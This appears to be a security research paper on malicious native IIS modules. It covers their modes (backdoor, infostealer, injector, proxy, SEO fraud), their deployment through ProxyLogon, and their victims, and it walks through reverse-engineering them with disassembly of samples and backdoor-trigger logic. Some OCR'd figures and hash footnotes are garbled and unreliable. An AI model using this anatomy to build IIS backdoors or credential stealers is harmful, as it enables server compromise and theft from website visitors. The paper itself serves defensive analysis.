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1 EXECUTIVE SUMMARY 


Internet Information Services (IIS) is Microsoft web server software for Windows with an extensible, 
modular architecture. It is not unknown for threat actors to misuse this extensibility to intercept or 
modify network trafic — the first known case of IIS malware targeting payment information from 
e-commerce sites was reported in 2013. 


Fast-forward to March 2021, and IIS backdoors are being deployed via the recent Microsoft Exchange 
pre-authentication RCE vulnerability chain (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE- 
2021-27065), with government institutions among the targets. As Outlook on the web is implemented via 


IIS, Exchange email servers are particularly interesting targets for IIS malware. 


IIS malware should be in the threat model, especially for servers with no security products. Despite 
this, no comprehensive guide has been published on the topic of the detection, analysis, mitigation, and 
remediation of IIS malware. 


In this paper, we fill that gap by systematically documenting the current landscape of IIS malware, 
focusing on native IIS modules (implemented as C++ libraries). Based on our analysis of 14 malware 
families — 10 of them newly documented - we break down the anatomy of native IIS malware, 
extract its common features and document real-world cases, supported by our full-internet scan for 
compromised servers. 


We don't focus on any single threat actor, malware family or campaign, but rather on the whole class of 
IIS threats — ranging from traffic redirectors to backdoors. We cover curious schemes to boost third- 
party SEO by misusing compromised servers, and IIS proxies turning the servers into a part of C&C 
infrastructure. 


Finally, we share practical steps for the defenders to identify and remediate a successful compromise. 


2 INTRODUCTION 


IIS is Microsoft web server software for Windows. Since IIS v7.0 (first shipped with Windows Vista 

and Windows Server 2008), the software has had a modular architecture —- both native (C++ DLL) 

and managed (.NET assembly) modules can be used to replace or extend core IIS functionality [1]. For 
example, developers can use IIS modules to modify how requests are handled or perform special logging 
or traffic analysis. 


It comes as no surprise that the same extensibility is attractive for malicious actors — to intercept 
network traffic, steal sensitive data or serve malicious content. Web server software has been targeted 
by malware in the past (such as Darkleech [2], a malicious Apache module), and IIS software is no 
exception. 


There have already been a few individual reports of malicious IIS modules, used for cybercrime and 
cyberespionage alike: 


e 2013 — ISN infostealer reported by Trustwave [3], a native module 

e 2018 - RGDoor backdoor reported by Palo Alto Networks [4], a native module 

e 2019 - incident response report by Secpulse [5], native modules 

e 2020 - infostealer reported by TeamT5 [6], a managed module 

e 2021 - IIS-Raid backdoor deployed via an Exchange server vulnerability, reported by ESET [7], a 
native module 


However, the existing reports on IIS threats are limited in scope, with the knowledge fragmented and 
technical details often missing or inaccurate. No comprehensive guide has been published on the topic. 
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In this paper, we take a step back and look at this class of threats - both known and newly reported. To 
limit the scope of this research, we focus on malicious native modules — malicious C++ libraries, installed 
on the IIS server as its modules. 


We don't cover managed modules, nor other malware that is able to run on IIS servers but not designed 
as IIS server modules (such as scripts). Unless explicitly stated otherwise, when the terms IIS modules or 
modules are used in this paper, we are always referring to native IIS modules. 


We analyze 14 individual malware families (including 10 newly documented), obtained from our 
telemetry or from VirusTotal. ESET security solutions detect these families as Win{32,64}/BadlIS and 
Win(32,643/Spy.lISniff. 


In Section 3 of this paper, we document common IIS malware features, attack scenarios, prevalence, and 
targets, based on the analysis and results of internet scans we ran to complement our telemetry and 
identify additional victims. 


In Section 4, we provide the essentials for reverse-engineering native IIS malware. We dissect the 
anatomy of malicious native IIS modules and examine how their features can be implemented. We 
use examples taken from various malware families across the paper to illustrate the techniques and 
functionality and show notable cases. 


Full analyses of all the IIS malware families we have studied are provided in the Appendix of this paper, 
as reference material. 


3 BACKGROUND INFORMATION 


In the course of our research, we collected 80+ unique native IIS malware samples and clustered them 
into 14 malware families. Throughout the paper, we refer to these families as Group 1 to Group 14. 


Except for the previously reported families ISN, RGDoor and IIS-Raid, the families are relatively new — 
with first-detected activity ranging between 2018 and 2021. Many of these families have been under 
active development throughout 2021, continuing as of this writing, but are not related to each other. 
They are individual malware families with one key feature — that they are developed as malicious native 
IIS modules. 


We don't focus on attribution in this paper, and our grouping to 14 malware families doesn't necessarily 
directly correspond to 14 distinct threat actors. For example, while the features of Groups 8-12 vary, 
code overlaps suggest a common developer behind these families. On the other hand, several threat 
actors have been using an IIS backdoor derived from the same publicly available code, and we refer to all 
of these cases collectively as Group 1. 


3.1 IIS malware types 


Being a part of the server allows the cybercriminals to intercept traffic and bypass SSL/TLS - even if the 
communication channel is encrypted, the attackers have full access to data processed by the server, 
such as credentials and payment information processed by e-commerce sites. 


Furthermore, our research shows that IIS modules are used to serve malicious content, manipulate 
search engine algorithms, or to turn benign servers into malicious proxies, which are then used in other 
malware campaigns to conceal C&C infrastructure. 
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Finally, while IIS is not the most widely used! web server software, it is used to implement Outlook on 
the web (aka OWA? ) for Microsoft Exchange email servers, which also makes it a particularly interesting 
target for espionage. 


We queried the Shodan service for servers with the IIS banner X-AspNet-Version and Outlook in the 
title to estimate a number of such servers - as shown in Figure 1, the number of public-facing servers 
with OWA running Microsoft Exchange 2013 or 2016 is over 200,000. 


203,744 


United States 
Germany 

United Kingdom 
Netherlands 


France 


Figure 1 // Shodan result for public servers with OWA running Microsoft Exchange 2013 or 2016 


In all cases, the main purpose of IIS malware is to process HTTP requests incoming to the 
compromised server and affect how the server responds to (some of) these requests — how they are 
processed depends on malware type. 


We identified five main modes in which IIS malware operates: 


e Backdoor mode allows the attackers to remotely control the compromised computer with IIS installed 

° Infostealer mode allows the attackers to intercept regular traffic between the compromised server and 
its legitimate visitors, to steal information such as login credentials and payment information 

° Injector mode where IIS malware modifies HTTP responses sent to legitimate visitors to serve malicious 
content 

e Proxy mode turns the compromised server into an unwitting part of C&C infrastructure for another 
malware family, and misuses the IIS server to relay communication between victims and the real C&C 
server 

° SEO fraud mode where IIS malware modifies the content served to search engines to manipulate SERP 
algorithms and boost ranking for selected websites 


These mechanisms are illustrated in Figure 2 and described in detail later in this paper. 


1 According to the latest Netcraft web server survey [8] and W3Techs survey statistics [9], as of this writing, IIS has market share of 4-7% 
of websites. 
2 Previously known as Outlook Web Access, thus the OWA acronym. 
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Figure 2 // Overview of IIS malware mechanisms 


Of the 14 malware families examined, several combine two, three, or more of these mechanisms, as listed 
in Table 1. The design of IIS modules allows them to handle various HTTP requests differently to support 
several modes - for example, requests from legitimate users can be handled in infostealer mode while 
attacker requests are handled in backdoor mode. 


Table 1 // IIS malware families studied in this paper 


Malware family Supported modes 


Group 1 (IIS-Raid) Backdoor and infostealer 


Group 2 Backdoor 

Group 3 Backdoor 

Group 4 (RGDoor) Backdoor 

Group 5 Infostealer 

Group 6 (ISN) Infostealer 

Group 7 Backdoor 

Group 8 Backdoor 

Group 9 Proxy and SEO fraud 

Group 10 SEO fraud 

Group 11 Backdoor, proxy, SEO fraud and injector 
Group 12 Backdoor, proxy, SEO fraud and injector 
Group 13 Backdoor and SEO fraud 

Group 14 SEO fraud and injector 
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32 Typical attack overview 


3.2.1 Initial vector 


The raw data we had for this research was mostly malware samples only, often missing contextual 
information. Thus, it is difficult to determine the initial access vector used to install these malicious 
modules into IIS servers. 


However, we know that administrative rights are required to install a native IIS module, as they have 
unrestricted access to any resource available to the server worker process [1]. This narrows down the 
options for the initial attack vector. 


We have seen evidence for two scenarios. 


Trojanized modules 


The first observed initial access technique is through trojanized IIS modules. In this scenario, the IIS 
server administrator unwittingly installs a trojanized version of a legitimate IIS module, perhaps one 
downloaded from unofficial sources. For example, Group 12 includes a trojanized version of a legitimate 
native module called FS X-Forwarded-For, that converts the X-Forwarded-For HTTP header so that it's 
visible as the client IP address in the IIS logs. 


Server exploitation 


Another option is an attacker who is able to get access to the server via some configuration weakness 
or vulnerability in a web application or the server, and then installs the malicious IIS module on the 
server once such access is gained. 


According to our telemetry, Group 7 samples are used in connection with Juicy Potato (detected 

as Win64/HackTool.JuicyPotato by ESET security solutions), which is a privilege escalation tool. 
Furthermore, in March 2021 we detected several variants of Group 1 samples (based on an open-source 
IIS backdoor and used by various actors) deployed on vulnerable Microsoft Exchange servers via the 
ProxyLogon vulnerability chain (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021- 
27065). 


3.2.2 Persistence and execution 


Once installed, a native IIS module is loaded by all worker processes on the server. IIS Worker Process 
(w3wp.exe) handles the requests sent to the IIS web server; thus an IIS module is able to affect the 
processing of every request [10]. 


IIS itself is persistent — with the default installation, its services (such as World Wide Web Publishing 
Service, Windows Process Activation Service or Application Host Helper Services) are configured to run 
automatically at each system start. This means there is no need for native IIS malware to implement 
additional persistence mechanisms. 


33  Victimology 


According to our telemetry, only a small number of servers were targeted by the studied malware 
families, but this is likely affected by our limited visibility into IIS servers — it is still common for 
administrators not to use any security software on servers. 


To complement our telemetry, we therefore performed internet-wide scans for selected families to 
identify other potential victims. 
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It is important to note that victims of IIS malware are not limited to compromised servers - all 
legitimate visitors of the websites hosted by these servers are potential targets, as the malware can be 
used to steal sensitive data from the visitors or serve malicious content. 


We will not list all the targets exhaustively in this section - for information about the targets of the 
respective IIS malware families, please refer to the Appendix of this paper. Instead, we will focus on 

the most notable case - Group 1 - which is a collection of malware samples derived from a publicly 
available backdoor called IIS-Raid. In its original form, the backdoor supports simple features such as 
downloading and uploading files, and running shell commands, which can be activated when attackers 
send an HTTP request including custom headers with a password. This malware has been customized by 
various threat actors — we have found 11 header and password combinations. 


In March 2021, we detected a wave of IIS-Raid variants in the wild, after the Microsoft Exchange pre- 
authentication RCE vulnerability chain (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE- 
2021-27065), aka ProxyLogon [11], was disclosed. Several threat actors have used this vulnerability chain 
to, inter alia, deploy IIS malware on Exchange servers that have OWA support that relies on IIS. We have 
already reported one variant? of IIS-Raid in ESET's blogpost about how this vulnerability is being used by 
various threat actors to compromise Microsoft Exchange servers around the world [7]. 


Since then, we have detected three more variants of IIS-Raid, and an additional variant of the Group 3 
backdoor, all spreading through the vulnerability to Microsoft Exchange servers. 


One of these samples was named deceptively Microsoft.Exchange.Clients.OwaAuth.dl1, another 
had the following PDB path embedded: 


C: \ProxyLogon-CVE-2021-26855-main\IIS-Raid-modify\module\x64\Release\IIS- 
Backdoor .pdb 


Figure 3 shows the geographical locations of servers affected by these five campaigns, using the data 
from our telemetry and internet-wide scans. 


Figure 3 // Victims of native IIS modules spread via the ProxyLogon vulnerability chain 


3 SHA-1: AA9BA493CB9E9FA6F9599C513EDBCBEE84ECECD6 
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The following entities were among the victims: 


e Government institutions in three countries in Southeast Asia 
e A major telecommunications company in Cambodia 
° A research institution in Vietnam 


e Dozens of private companies in a range of industries, located mostly in Canada, Vietnam and India, 
and others in the USA, New Zealand, South Korea, and other countries 


We notified all these victims about the compromises. 


We didn't find any pattern among the targeted servers, and it is possible that these attackers used the 
vulnerability to compromise as many servers as possible, without any targeting. In at least one case’, the 
attackers used the malware to spread the Lemon Duck cryptominer. This finding was already reported 
by Sophos [12] in May 2021, and we independently confirmed it using data from the compromised IIS 
server, which was provided to us from a victim in South Korea. 


On the other hand, another version" derived from the same IIS-Raid source code was probably used for 
cyberespionage. This version has been used since at least January 2021, targeting only a small number 
of high-profile users in Cambodia and Vietnam. The PDB path of the analyzed sample also suggests 
this sample was a part of a targeted campaign: C: \Users\cambodia\Desktop\ok\ok\IIS-Raid- 
master\module\x64\Release\IIS-Backdoor. pdb. In this case, the ProxyLogon vulnerability chain 
could be only one of the possible initial compromise vectors. 


4 SHA-256: AA9BA4 93CB9E9FA6F9599C513EDBCBEE8 4ECECD6 
5 SHA-256: F449C31AAB9ECOE6C6B2C336DEB8 3ADE6DAD53FD 
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4 ANATOMY OF NATIVE IIS MALWARE 


In this core section of our paper, we dissect the architecture of native IIS modules and explain how 
threat actors fit their malicious functionality into this architecture. 


4.1 Native IIS malware essentials 


A native IIS module is a dynamic-link library (DLL) writtevn using the IIS C++ API. Native modules are 
located in the $windir%\system32\inetsrv\° folder on the server and can be configured for some, 
or for all, applications hosted by the server. These modules can be configured by a command line tool 
AppCmd. exe, via a GUI editor IIS Manager, or by manually editing the twindir%\system32\inetsrv\ 
config\ApplicationHost.config configuration file. 


The modules are then loaded by the IIS Worker Process (w3wp.exe), which handles requests sent to the 
IIS server. 


4.1.1 Module class 


In order for IIS to load the DLL successfully, any native IIS module must export the RegisterModule 
function, which is the library entry point, responsible for registering the module for (one or more) server 
events. Events are generated when IIS processes an incoming HTTP request and event handlers are where 
the core functionality of IIS modules is implemented. 


Therefore, all native IIS modules (malicious or benign) will implement a module class inheriting either 
from CHttpModule class, or from CGlobalModule class [13], and will override a number of their event 
handler methods, listed in Figure 4. 


3 const HttpModule: :`vftable' 
??_7HttpModule@@6B@ dd offset OnBeginRequest 
; DATA XREF: sub_7454A310+19To 
3 sub_7454A360+9To 
dd offset OnPostBeginRequest 
dd offset OnAuthenticateRequest 
dd offset OnPostAuthenticateRequest 
dd offset OnAuthorizeRequest 
dd offset OnPostAuthorizeRequest 
dd offset OnResolveRequestCache 
dd offset OnPostResolveRequestCache 
dd offset OnMapRequestHandler 
dd offset OnPostMapRequestHandler 
dd offset OnAcquireRequestState 
dd offset OnPostAcquireRequestState 
dd offset OnPreExecuteRequestHandler 
dd offset OnPostPreExecuteRequestHandler 


dd offset OnExecuteRequestHandler 3 const CMyGlobalModule: :`vftable' 
dd offset OnPostExecuteRequestHandler ??_7CMyGlobalModule@@#6B@ dq offset OnGlobalStopListening 
dd offset OnReleaseRequestState ; DATA XREF: DNameNode 
dd offset OnPostReleaseRequestState 3 Terminate+5to 
dd offset OnUpdateRequestCache dq offset OnGlobalCacheCleanup 
dd offset OnPostUpdateRequestCache dq offset OnGlobalCacheOperation 
dd offset OnLogRequest dq offset OnGlobalHealthCheck 
dd offset OnPostLogRequest dq offset OnGlobalConfigurationChange 
dd offset OnEndRequest dq offset OnGlobalFileChange 
dd offset OnPostEndRequest dq offset OnGlobalPreBeginRequest 
dd offset OnSendResponse dq offset OnGlobalApplicationStart 
dd offset OnMapPath dq offset OnGlobalApplicationResolveModules 
dd offset OnReadEntity dq offset OnGlobalApplicationStop 
dd offset OnCustomRequestNotification dq offset OnGlobalRSCAQuery 
dd offset OnAsyncCompletion dq offset OnGlobalTraceEvent 
dd offset Dispose dq offset OnGlobalCustomNotification 
dd offset sub_7454A360 dq offset Terminate 
dd offset ??_R4HttpModuleFactory@@6B@ ; const HttpModule dq offset OnGlobalThreadCleanup 
3 const HttpModuleFactory::'vftable' dq offset OnGlobalApplicationPreload 
??_7HttpModuleFactory@@6B@ dd offset sub_7454A310 dq offset OnSuspendProcess 


Figure 4 // Module class methods of CHttpModule Class (left) and CGlobalModule Class (right) 


6 Orthe windir%\Syswowé4\inetsrv\ folder. 
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The first step of analyzing a malicious native IIS module is to locate the module class and identify the 
overridden methods - this is where the malicious functionality will be implemented. The default method 
implementations are easy to identify, as they only print a debug message, similar to the message 
illustrated in Figure 5. 


“This module subscribed to event CHttpModule::OnSendResponse but did not override the method in its CHttpModule 
implementation. Please check the method signature to make sure it matches the corresponding method.” 


. text : 0800000000141 7A0 

.text:00000000001417A0 

.text:00000000001417A0 

.text:00000000001417A0 OnSendResponse proc near 

.text:00000000001417A08 sub rsp, 28h 

.text:0000000000141744 lea rcx, OutputString ; "This module subscribed to event " 


. text :@0000000001417AB call cs:OutputDebugStringA 
. text :@0000000001417B1 lea 


rcx, aChttpmoduleOns ; “CHttpModule: :OnSendResponse” 

. text :@0000000001417B8 call cs:OutputDebugStringA 

.text:00000000001417BE lea rcx, aButDidNotOverr ; " but did not override the method in its”... 
. text :@0000000001417C5 call cs:OutputDebugStringA 

. text :@0000000001417CB call cs:DebugBreak 

.text:00000000001417D1 xor eax, eax 

.text:00000000001417D3 add rsp, 28h 

.text:000000008001417D7 retn 

.text:00000000001417D7 OnSendResponse endp 

.text:00000000001417D7 


Figure 5 // Default event handler method CHttpModule: :OnSendResponse 


In the malware families we examined, the malicious functionality is usually implemented across one to 
three event handlers, with the rest of the methods not overridden. For example, Group 7 implements its 
malicious functionality in the OnBeginRequest, OnLogRequest and OnSendResponse handlers; Group 5 
only overrides the OnPostBeginRequest handler. 


However, not all implemented handlers are necessarily malicious. For example, Group 12 includes 

a trojanized version of a legitimate native module called F5 X-Forwarded-For. This module converts 
the X-Forwarded For HTTP header so it's visible as the client IP address in the IIS logs, which is 
implemented as OnAcquireRequestState, OnSendResponse handlers. Group 12 malware builds its 
code on the same module, with added malicious functionality, as the OnBeginRequest handler. 


Both Group 7 and Group 12 handlers are shown in Figure 6. 


3 const HttpModule: :`vftable' 3 const CFSXFFHttpModule: :*vftable’ 


??_7HttpModule@@6B@ dd offsetJOnBeginRequest malicious handler ??_7CFSXFFHttpModule@@6B@ dq offsetJOnBeginRequest malicious handler 
Ser, XR! ub_7454A310+19to DATA ARE: sub_180005900+Ato 
; sub_7454A: o 


dd offset sub_74549CD8 
dd offset sub_74549D00 
dd offset sub_74549D30 
dd offset sub_74549D60 
dd offset sub_74549D90 
dd offset sub_74549DC0 
dd offset sub_74549DF@ 
dd offset sub 74549520 
dd offset sub_74549E50 
dd offset sub_74549E80 
dd offset sub_74549EBO 
dd offset sub_74549EE@ 
dd offset sub_74549F10 
dd offset sub_74549F40 
dd offset sub_74549F70 
dd offset sub_74549FAQ 
dd offset sub_74549FD0 
dd offset sub_7454A000 


dd offset 4542030 
¡OnLogRequest 


dd offset malicious handler 
malicious handler 

dd offset Sub 

dd offset sub_7454A120 

dd offset sub_7454A150 

dd offset sub_7454A180 

dd offset sub_7454A180 

dd offset sub_7454A1E0 

dd offset sub_7454A210 

dd offset sub_7454A360 

dd offset ??_R4HttpModuleFactory@@6B@ ; const HttpModuleFactory 
3 const HttpModuleFactory::'vftable' 


dq offset sub_180005DF8 
dq offset sub_130005AFO 
dq offset sub_1800@5D70 
dq offset sub_130005B30 
dq offset sub_18@@@5DB@ 
dq offset sub_18@@@60F@ 
dq offset sub_18@@@5FB@ 
dq offset sub_18@@@5CF@ 
dq offse: Dæ LZA2ASEER 
dq offset] 
dq offset sub_100009D30 

dq offset sub_180006030 
dq offset sub_180005F30 
dq offset sub_180005C30 
dq offset sub_180005£70 
dq offset sub_1800060B@ 
dq offset sub_130005F78 
dq offset sub_1800@6170 
dq offset sub_18@@@5FF@ 
dq offset sub_180@@5C7@ 
dq offset sub_18@@@5EB@ 
dq offset sub_18@@@5BF@ 


dq offse b 2 
: 


dq offset sub_18@@@5BB@ 
dq offset sub_18@@@5AB@ 
dq offset sub_1800059A8 
dq offset sub_180005908 


Figure 6 // Group 7 (left) and Group 12 (right) event handler methods 


to 3 sub_1300059C0+4Dto 


benign handler 


benign handler 


14 


Anatomy of native IIS malware 


4.1.2  Request-processing pipeline 

As the previous section explains, the RegisterModule function is responsible for initialization while 
most of the malicious functionality in native IIS malware is found in its event handlers. This section 
explains the significance of these events and when they are triggered. 


Events are steps in which IIS processes all incoming HTTP requests (whether GET, POST or other). 
These steps are taken serially, in the request-processing pipeline illustrated in Figure 7, and each of them 
generates two request-level notifications for the request [10], [14]. 


HTTP request ——n Begin Request Processing 
Authentication 
Authorization 
Cache Resolution 
Handler Mapping 
Handler Pre-execution 
Handler Execution 


Release State 


Update Cache 


Update Log 


End Request Processing — HTTP response 


Figure 7 // HTTP request-processing pipeline in IIS 


For example, the first step (BeginRequest event) generates: 


° Event notification handled by the OnBeginRequest handler 
° Post-event notification handled by the OnPostBeginRequest handler 


Post-event notifications are generated immediately after the corresponding request-level event in 
the pipeline. See Microsoft documentation for the full list of request-level notifications. Using these 
notifications, a malicious IIS module can hook any part of the pipeline. 


Other notifications are generated when specific, non-deterministic events occur, most notably, 
OnSendResponse handler handles the event when IIS sends the response buffer, which is a step with no 
fixed position in the pipeline. 


For malicious modules, the difference between event and post-event request notifications is generally 
not significant (except for some corner cases). In our sample set, the malware generally registers 
handlers at the beginning of the pipeline (to be able to process the incoming requests), and/or when a 
response is being sent (to be able to intercept or modify it). 


Finally, some server events are not tied to individual HTTP requests but occur on the global level. For 
example, the GlobalFileChange event occurs when a file within a web site is changed. Some Group 9 
samples override the CGlobalModule: :OnGlobalPreBeginRequest method to process requests 
before they enter the request- processing pipeline. See Microsoft documentation for the full list of global- 
level notifications. An IIS module can register for both request-level and global-level notifications, as is 
the case with the Group 9 malware. 


Malicious modules will override a combination of these event handler methods, for example to intercept 
legitimate traffic or to handle incoming requests from the C&C server. 
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4.1.3 RegisterModule function 


To summarize, each native IIS module must export the RegisterModule function and implement at least 
one of these classes [13]: 


a. To be able to register for request-level notifications: 
A class inheriting from CHttpModule (module class) and a class implementing IHttpModuleFactory (the 
factory class for the module). The factory class is responsible for creating instances of the module for each 
incoming HTTP request. 


b. To be able to register for global-level notifications: 
A class inheriting from CGlobalModule. 


The RegisterModule function creates instances of the core classes and registers for events 

that should be handled by the module. This is done by calls to the SetRequestNotifications or 
SetGlobalNotifications methods on the pModuleiInfo instance, respectively, specifying a bitmask 
of events to which it will receive notifications. (The bitmask will correspond directly to functions 
overridden by the module’s main class.) 


Following is the RegisterModule function prototype: 


typedef HRESULT (WINAPI* PFN _REGISTERMODULE) ( 
DWORD dwServerVersion, 
IHttpModuleRegistrationInfo* pModulelnfo, 
IHttpServer* pGlobalInfo 


E 


In the malware families we examined, a typical RegisterModule function is as minimalistic as in Figure 8 
(used in Group 1, only registering the OnSendResponse handler). 


.text:000007FEFB1F17D9 ; Exported entry 1. RegisterModule 
.text:000007FEFB1F17D0 

.text:000007FEFB1F17D0 

.text:000007FEFB1F17D0 ; rdx [in] = IHttpModuleRegistrationInfo 
«text:000007FEFB1F17D0 

.text:000007FEFB1F17D0 public RegisterModule 
.text:000007FEFB1F17D0 RegisterModule proc near 
.text:000007FEFB1F17D08 push rbx 

«text:000007FEFB1F17D2 sub rsp, 20h 

.text:000007FEFB1F17D6 mov ecx, 8 3 Size 
.text:000007FEFB1F17DB mo bx dx 

«text :@000@7FEFB1F17DE§ call MyHttpModuleFactory_ ctor 

- text :@@0007FEFB1F17E3§ lea rcx, ??_7CMyHttpModuleFactory@@#6B@ ; const CMyHttpModuleFactory::'1 


4 mov r8d, RQ SEND RESPONSE 


AX. 
.text:000007FEFB1F17FD mov [rax], rex 
.text:000007FEFB1F1800 mov rcx, rbx 
.text:000007FEFB1F1803 mov r10, [rbx] 
.text:000007FEFB1F1806 adi rsp, 20h 


.text:000007FEFB1F180B/5 
.text:000007FEFB1F180B 
.text:000007FEFB1F180B 


Figure 8 // A typical RegisterModule function of a native IIS module 


Optionally, the RegisterModule function can also set the request-level priority for the module using 
the IHttpModuleRegistrationInfo: :SetPriorityForRequestNotification method. For cases 
when several IIS modules (malicious and regular) are registered for the same event, this priority is used 
to enforce the order in which their respective handlers will be called. For example, Group 7 registers its 
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handlers with PRIORITY ALIAS FIRST, as shown in Figure 9. That means that this malicious module 
will be executed before all other modules on BeginRequest and LogRequest events, and after all 
other modules on SendRequest event. This allows the malware to have the final word in what response 
will be sent to the HTTP request. 


«text:7454A2D0 mov eax, [edi] 
.text:7454A2D2 mov ecx, edi 3 pModuleInfo 
«text: 7454A2D4 push offset aFirst 


«text: ea] a mov 
.text:7454A2E3 test esi, esi 
«text:7454A2E5 jns short loc_7454A2F2 


Figure 9 // RegisterModule function example (Group 7) 


Note that the RegisterModule function is not necessarily always as minimalistic as in Figure 8. Since 
this function is only executed once, it is a good place for initialization. Figure 10 illustrates the layout of 
Group 9's RegisterModule function, which decrypts strings and initializes a global map structure to be 
used by the handlers. 


8, Graph overview n 8 x | 


Figure 10 // Amore complex RegisterModule function with initialization functions (Group 9) 


In any case, the only responsibility of the RegisterModule function is to initialize the module and 
register it for server events. To understand a malicious native IIS module, it is crucial to analyze the 
handlers. 
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42 Native IIS malware features 


Whether the IIS malware's purpose is to steal credential information from legitimate visitors, or serve 
them malicious content, all native IIS modules operate in the same phases. As illustrated in Figure 11, 

a malicious IIS module starts with parsing an incoming HTTP request to identify whether it was sent by 
a legitimate user, by the attacker, or another party, and whether it should be processed. According to 
this classification, the malware then processes the request (for example, logs sensitive data from the 
request or executes backdoor command from the request) and modifies the HTTP response accordingly. 
Typically, only a few of the inbound HTTP requests are of interest to the malicious module and will 
trigger an action, the rest of the requests pass through the malware pipeline untouched. 


Process HTTP request: 


Backdoor mode 
Infostealer mode 


Modify HTTP 


Parse HTTP Classify HTTP : 
Injector mode 
request request 
SEO fraud mode 
No module processing 


response 


Figure 11 // Typical native IIS malware phases 


In this section, we explore how each of these phases is implemented by IIS handlers. 


4.2.1 Parsing HTTP requests 


As the first step for each incoming HTTP request, a malicious IIS module parses the request using 
instances of IHttpContext and IHttpRequest provided as parameters to obtain information such as 
requested resource, headers or request body. An example is shown in Figure 12. 


. text :0000000180006180 


: 3 CODE XREF: OnBeginRequest+14F43 
.text:0000000150006180 mov 


rdx, [rbx] 
.text:00000001380006183 mov rex, rox 
. text :0000000180006186 call [rdx+IHttpRequest2Vtbl.GetRemainingEntityBytes ] 
.text:000000015000618C test eax, eax 
.text:000000015000618E jz short loc_180@@61D1 
. text :0000000180006190 mov rax, [rbx] 
. text : 0000000150006193 mov [rspt+698h+var_67@], rsi 
. text :@000000180006198 lea rcx, [rsp+698h+entityBodyBufferSize] 
. text :@00000018000619D mov [rsp+698h+var_678], rex 
.text:00000001800061A2 xor rod, r9d 
. text :00000001800061A5 mov r8d, [rsp+698h+entityBodyBufferSize] 
.text:000000015800061AA mov rdx, rdi 
.text:00000001500061AD mov rcx, rbx 
. text :00000001800061B0 call [rax+IHttpRequest2Vtbl.ReadEntityBody] 
.text:000000015000618B6 test eax, eax 
.text:000000015800061B8 js short loc_18@@@61D1 
.text:000000013800061BA movsxd r8, [rsp+698h+entityBodyBufferSize] ; Size 
. text :00000001800061BF mov rdx, rdi 3 void * 


. text :00000001800061C2 
. text :00000001300061CA 
. text :00000001300061CF 


lea rcx, [rsp+698h+httpRequestBody] ; Src 
call appendChunk 
jmp short 


Figure 12 // Reading HTTP request body (Group 2) 
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Another way to access HTTP headers is by using IIS Server Variables, which can be used to retrieve a 
specific request (client) header by using the HTTP_<headerName> value. This is a common way to 
implement HTTP request parsing in general —- for example, Apache and nginx servers can both provide 
HTTP _<headerName> as environment variables. In IIS, the server variables can be accessed via the 
GetServerVariable method, as shown in Figure 13 where the User-Agent, Referer and Host 
headers are queried. This method of HTTP request parsing is used by Group 6, Group 11 and Group 12. 


413 pHttpContextl = *pHttpContext; 
414 oo noie ne = 0164; 

415 4 o: 

416 » "HTTP_USER_AGENT"] &httpUserAgentValue, &httpUserAgentValueLength); 
417 Ce) 

418 
419 a 

420 2 “HTTP_Referer”"] &httpRefererValue, &httpRefererValueLength); 
421 ) 

422 
423 


424 usaman aE umama ext, "“HTTP_HOST"§ &httpHostValue, &httpHostValueLength); 


Figure 13 // Group 11 obtains values of HTTP request headers by querying IIS server variables 


4.2.2 Classifying requests 

With the information obtained from the HTTP request, the module can evaluate whether the request 
will be processed or ignored. That means that as the next step, it applies its mechanisms to recognize 
whether the request is coming from the attacker, a legitimate user, or automated bot, as these requests 
will be handled differently. 


Note that malicious IIS modules, especially IIS backdoors, don't usually create new connections to the 
C&C servers. They work in passive mode, allowing the attackers to control them by providing some 
“secret” in the HTTP request. That’s why these backdoors have a mechanism implemented to recognize 
the attacker requests, which are used to control the server and have a predefined structure. 


Possibilities are broad; these are some that were used in the samples analyzed: 


e URL or request body matching a specific regex 
+ A custom HTTP header present 
+ An embedded token (in the URL, request body or one of the headers) matching a hardcoded password 


s A hash value of an embedded token matching a hardcoded value - for example, Group 12 computes 
the MD5 of the password in the request and compares it against a hardcoded value 


e A more complex condition - for example, a relationship between all of the above 


As an example of a more complex condition, attacker requests to control Group 7 backdoor must 
match the expected format, encryption and encoding, and this relationship between the URL, Host and 
Cookie headers: 


° The malware first computes the MDS of both the URL and Host header, and splits each into four 
double words: 
<h0><h1><h2><h3> = md5(Host Header value) 
<r0><r1><r2><r3> = md5 (Raw URL value) 
° Then, it verifies that the Cookie header contains a substring built from these values: 
<r1><h2>=<h3><r2><r3><r0><h0><h1> 


° Figure 14 and Figure 15 illustrate a part of how this substring is assembled 


19 


Anatomy of native IIS malware 


yy 


.text:7454A585 
.text:7454A585 loc_7454A585: 

.text:7454A585 push ecx 

.text:7454A586 mov ecx, [esp+12Ch+HTTP_REQUEST] 

.text:7454A58A movzx eax, [ecx+HTTP_REQUEST.anonymous_0.RawUrllength] 


.text:7454A58E push eax 
HTTP REQUEST. anonymous @.pRawUrl 


.text:7454A58F push 


«text:7454A592 lea LSD nt > value 
.text:7454A596 call 3 arg@ [in] 


.text:7454A596 3 arg1 [in] 
«text: 7454A596 3 ecx [out] "DS of the string 
.text:7454A59B cmp byte ptr [esp+128h+var_43+7], O 

.text:7454A5A3 mov ecx, [esp+128h+decryptedData] 

.text:7454A5A7 lea edx, [ecx+cookieCheckContainer.stringMDSofRawUrl] 
.text:7454A5AA jz short loc_7454A5CD 


Mas 
.text:7454A5AC movups xmm@, xmmword ptr [esp+128h+var_33+8] ; string version of MDS 
.text:7454A5B4 mov al, [esp+128h+var_B] 


.text:7454A5BB movups xmmword ptr [edx], xmm@ 
.text:7454A5BE movups xmm@, [esp+128h+var_18] 
.text:7454A5C6 movups xmmword ptr [edx+10h], xmm@ 
.text:7454A5CA mov [edx+20h], al 


7454A5CD 
«text:7454A5CD loc_7454A5CD: 

.text:7454A5CD mov esi, [esp+128h+token] 

.text:7454A5D1 lea eax, [ecx+(cookieCheckContainer.stringMDSofRawUrl+10h)] 
«text:7454A5D4 push ecx 

.text:7454A5D5 push edx 

«text:7454A5D6 push eax 

.text:7454A5D7 lea eax, [ecx+(cookieCheckContainer.stringWD5ofHostHeader+18h)] 
.text:7454A5DA push eax 

.text:7454A5DB lea eax, [ecx+(cookieCheckContainer.stringWDSofHostHeader+10h)] 
.text:7454A5DE push eax 

.text:7454A5DF lea eax, [ecx+(cookieCheckContainer.stringMD5ofRawUrl+8)] 
.text:7454A5E2 push eax 
«text:7454A5E3 push offset a8s8s8s16s8s16s jf” 
«text:7454A5E8 push 42h ; 'B' 
